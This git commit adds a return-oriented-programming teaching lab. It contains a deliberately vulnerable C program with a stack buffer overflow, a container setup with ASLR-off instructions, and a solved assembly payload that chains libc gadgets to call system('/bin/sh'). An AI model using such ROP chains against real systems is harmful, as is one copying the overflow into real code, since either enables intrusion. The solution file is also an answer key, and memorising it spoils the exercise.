commit 28c424a1a4afc80ab84999a057612ac0ac4d7e30 Author: christian.rossow Date: Tue Oct 7 07:11:44 2025 +0000 added ropgadget example diff --git a/ropgadget01/.gitignore b/ropgadget01/.gitignore new file mode 100644 index 0000000..e9ec5d7 --- /dev/null +++ b/ropgadget01/.gitignore @@ -0,0 +1 @@ +data/.gef-2025.01.py diff --git a/ropgadget01/Containerfile b/ropgadget01/Containerfile new file mode 100644 index 0000000..9759256 --- /dev/null +++ b/ropgadget01/Containerfile @@ -0,0 +1,21 @@ +FROM debian:bookworm-slim + +# prepare container +RUN apt update && apt install -y bash vim less nasm nano gdb make gcc python3 python3-ropgadget python3-pwntools git ca-certificates curl python3-pip file inetutils-ping procps +RUN apt-get clean && rm -rf /var/lib/apt/lists/* # minimize + +RUN useradd -m -s /bin/bash student +COPY ./welcome_screen /etc/motd + +# prepare student account +USER student +COPY --chown=student:student ./data/ /home/student + +RUN echo '[ ! -z "$TERM" -a -r /etc/motd ] && cat /etc/motd; export LANG=C.UTF-8' \ + >> /home/student/.bashrc + +RUN echo 'source /home/student/.gef-2025.01.py' \ + >> /home/student/.gdbinit + +WORKDIR /home/student +ENTRYPOINT ["/bin/bash"] diff --git a/ropgadget01/build-image.sh b/ropgadget01/build-image.sh new file mode 100755 index 0000000..f7fe792 --- /dev/null +++ b/ropgadget01/build-image.sh @@ -0,0 +1,6 @@ +#!/bin/bash +podman image rm ropgadget01 + +podman image build \ + --tag ropgadget01 \ + --file ~/pod/Containerfile diff --git a/ropgadget01/data/Makefile b/ropgadget01/data/Makefile new file mode 100644 index 0000000..7e220f3 --- /dev/null +++ b/ropgadget01/data/Makefile @@ -0,0 +1,10 @@ +all: ropme input + +input: + nasm -f bin ./input.asm + +clean: + rm -f ropme + +bufoverflow: + gcc ropme.c -o ropme -O3 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse diff --git a/ropgadget01/data/input.asm b/ropgadget01/data/input.asm new file mode 100644 index 0000000..da7c8c8 --- /dev/null +++ b/ropgadget01/data/input.asm @@ -0,0 +1,10 @@ +bits 64 + +global _start +_start: + ; we place /bin/sh and a few zero bytes at the start (16B) + db '/bin/sh', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + + times 0x1f0 nop ; fill buffer, i.e., 512B in total + + ; TODO: complete me from here diff --git a/ropgadget01/data/input.solved.asm b/ropgadget01/data/input.solved.asm new file mode 100644 index 0000000..dd31493 --- /dev/null +++ b/ropgadget01/data/input.solved.asm @@ -0,0 +1,23 @@ +bits 64 + +global _start +_start: + ; we place /bin/sh and a few zero bytes at the start (16B) + db '/bin/sh', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + + times 0x1f0 nop ; fill buffer, i.e., 512B in total + + times 0x10 nop ; buffer is at rbp+0x210, so skip 0x10 more + times 0x8 nop ; overwrite saved rbp + + dq 0x7ffff7e007e5 ; pop rdi + ret + ; real version + dq 0x7fffffffe2a0 ; ptr to buffer, which contains "/bin/sh" at the start + ; gdb version + ; dq 0x7fffffffe250 ; ptr to buffer, which contains "/bin/sh" at the start + + dq 0x7ffff7e007e6 ; just ret -- this will change the stack by 8B + dq 0x7ffff7e25490 ; system("/bin/sh") + dq 0x7ffff7e007e5 ; pop rdi + dq 0 + dq 0x7ffff7e17680 ; exit(0) diff --git a/ropgadget01/data/input.txt b/ropgadget01/data/input.txt new file mode 100644 index 0000000..dc82df3 --- /dev/null +++ b/ropgadget01/data/input.txt @@ -0,0 +1,71 @@ +/bin/sh +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/ropgadget01/data/ropme.c b/ropgadget01/data/ropme.c new file mode 100644 index 0000000..21320c1 --- /dev/null +++ b/ropgadget01/data/ropme.c @@ -0,0 +1,23 @@ +// usage: ropme +// +// Goal: invoke /bin/bash using ROP +// +// files with more than 512B content will cause overflows. +// smaller files work just fine. + +#include +#include +#include + +int mystr(char *fn) { + char mystr[512]; + *(uint64_t *) mystr = 0; // zero first 8 bytes + register FILE *f = fopen(fn, "rb"); + fread(mystr, 1024, 1, f); // VULNERABLE! reading 1024B into 512B buf + return mystr[0]; +} + +int main(int argc, char *argv[]) { + if (argc != 2) { printf("too few args."); return 1; } + return mystr(argv[1]); +} diff --git a/ropgadget01/exec_pod.sh b/ropgadget01/exec_pod.sh new file mode 100755 index 0000000..6227e5f --- /dev/null +++ b/ropgadget01/exec_pod.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +# Create a unique container name for each session + +# Run a container in interactive mode, delete it on exit +exec podman run --rm -it \ + --hostname "lab" \ + --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \ + --memory="512m" --cpus="1.0" \ + ropgadget01 + #--network none \ diff --git a/ropgadget01/welcome_screen b/ropgadget01/welcome_screen new file mode 100644 index 0000000..04e63e9 --- /dev/null +++ b/ropgadget01/welcome_screen @@ -0,0 +1,13 @@ +/**********************************************************************/ + ROP GADGET LAB + + USAGE EXAMPLES: + ldd /bin/bash # see linked libraries + ROPgadget --help # see ROPgadget help + # search all gadgets in libc + ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 + + IMPORTANT: THESE EXAMPLES ASSUME ASLR IS DISABLED. FOR PWNING, YOU + SHOULD RUN ALL PROGRAMS PREFIXED WITH `setarch `uname -m` -R` + +/**********************************************************************/